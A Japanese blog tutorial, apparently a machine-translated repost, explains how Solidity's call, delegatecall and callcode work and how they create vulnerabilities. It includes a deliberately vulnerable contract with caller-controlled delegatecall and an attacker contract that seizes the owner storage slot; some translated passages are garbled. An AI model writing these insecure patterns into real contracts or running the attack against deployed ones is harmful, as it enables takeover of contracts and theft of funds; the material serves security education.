Solidity コード実行の脆弱性の原則

目次

1. 3つの呼び出し方法

2. 2 つの呼び出しパラメータ タイプ

3. 脆弱性シナリオ

3.1 デリゲートコール

3.2 通話


1. 3つの呼び出し方法

Solidity でコントラクトが他のコントラクトの関数を呼び出す方法は 3 つあります。

<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)

1)呼び出し()

call は、最も一般的に使用される呼び出しメソッドです。call の外部呼び出しコンテキストは呼び出し先コントラクトです。つまり、実行環境は呼び出し後、組み込み変数 msg の値は呼び出し元の実行環境に合わせて変更されます。

2)デリゲートコール()

delegatecall の外部呼び出しコンテキストは呼び出し元コントラクトであり、実行環境が呼び出し元の実行環境であることを意味します。 call、組み込み変数 msg の値は呼び出し元に対して変更されません。

3)コールコード()

コールコードの外部呼び出しコンテキストは呼び出し元コントラクトです。これは、実行環境が呼び出し元の実行環境であり、構築された変数 msg は呼び出し後です。 の値は呼び出し元に変更されます

2. 2 つの呼び出しパラメータ タイプ

call 関数に渡されるパラメータには 2 つのタイプがあります。

1) 関数シグネチャ

関数シグネチャ = 関数名 + (パラメータ型リスト)、uint および int は uint256 および int256 として記述する必要があります。

func(uint arg1, int arg2)  ==>  func(uint256,int256)

 呼び出し方法:

<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);

メッセージデータ

msg.data  は Solidity のグローバル変数です。値は完全な calldata (関数呼び出し時に渡されるデータ) です。最初の 4 バイトは関数セレクタです。以下のパラメータの各値は、32 バイトの固定長の 16 進文字列に変換されます。複数のパラメーターがある場合、それらは連結されます。

図に示すように、three_call のパラメータ値は msg.data の値と同じです。

2) 機能セレクター

関数セレクター: 関数シグネチャの Keccak ハッシュの最初の 4 バイト、その後にパラメーター

<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))

3. 脆弱性シナリオ

前提知識: EVM ストレージ

単一のコントラクト状態変数はストレージに保存され、宣言順にカード スロットに保存されます

contract A{
    address owner;
    B addrB;
}

3.1 デリゲートコール

デリゲートコールの変更点

コントラクト A とコントラクト C の両方に状態変数がある場合、delegatecall によって呼び出される関数がコントラクト C の最初の状態変数の値を変更すると、実際に変更されるのはコントラクト A の最初の状態変数の値 (スロット 0) になります。契約 A. の状態変数の所有者

脆弱性シナリオ:

  • delegatecall アドレスは制御可能であり、呼び出し元のコントラクト状態変数は変更できます。
  • delegatecall パラメータは制御可能であり、呼び出されたコントラクトの機密機能を実行できます。たとえば、msg.data は delegatecall パラメータとして使用されます。
pragma solidity ^0.4.23;
// 合约 A
contract A{
    address owner;
    B addrB;
    
    constructor() {
       owner = msg.sender; 
    }
    
    function changeOwner(address _newOwner) public {
       require(msg.sender == owner); 
       owner = _newOwner;    
    }
    
    function setB(B addr) public {
        addrB = addr;
    }
    
    // vuln1:delegatecall 地址可控
    function vuln1(address _contract) public {
        _contract.delegatecall(abi.encodeWithSignature("func()"));
    }
    
    // vuln2:delegatecall 参数可控
    function() public{
        addrB.delegatecall(msg.data);
    }
}

// 合约 B
contract B {
    address public owner;

    function init() public  {
        owner = msg.sender;
    }
}

攻撃契約

pragma solidity ^0.4.23;
import "./A.sol";

contract Attacker{
    address public owner;

    // 攻击 vuln1
    function func() public {
       // 修改合约 A 状态变量 owner
       owner = msg.sender;    
    }

    function attack_vuln2(address addrA) public {
       // 调用合约 A 中不存在的函数 init,进而执行 fallback 函数,
       // 而此时 msg.data 的前4个字节就是 init 函数选择器,
       // 进而执行了合约 B 的 init 函数
       // A(addrA).init();    
       addrA.call(abi.encodeWithSignature("init()"));
    }
}

3.2 通話

call を使用して別のコントラクトの関数を呼び出す場合、実行環境は呼び出されたコントラクトの実行環境となり、呼び出されたコントラクトの状態変数も変更されます。コントラクト内の他のコントラクトをインスタンス化することは、呼び出しと同じです。

call の脆弱性シナリオは、delegatecall の脆弱性シナリオと似ています。

  • 呼び出しアドレスは制御可能です: 任意のアドレス契約の同名関数を実行します
  • 呼び出しパラメータは制御可能です。このアドレスでコントラクトの任意の関数を実行します。
    • 呼び出し関数のシグネチャは制御可能です
    • 呼び出し関数のパラメータは制御可能です

EVM の特徴: EVM にはパラメータを取得する際にパラメータ番号の検証プロセスがありません。値は前から後ろに取得されます。十分なパラメータを取得した後、最後に余分なパラメータが切り捨てられ、途中でエラーは報告されません。コンパイルと実行の段階。

次のように: 次のパラメータ 4 と 5 は切り捨てられます。

addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)

おすすめ

転載: blog.csdn.net/SHELLCODE_8BIT/article/details/134993896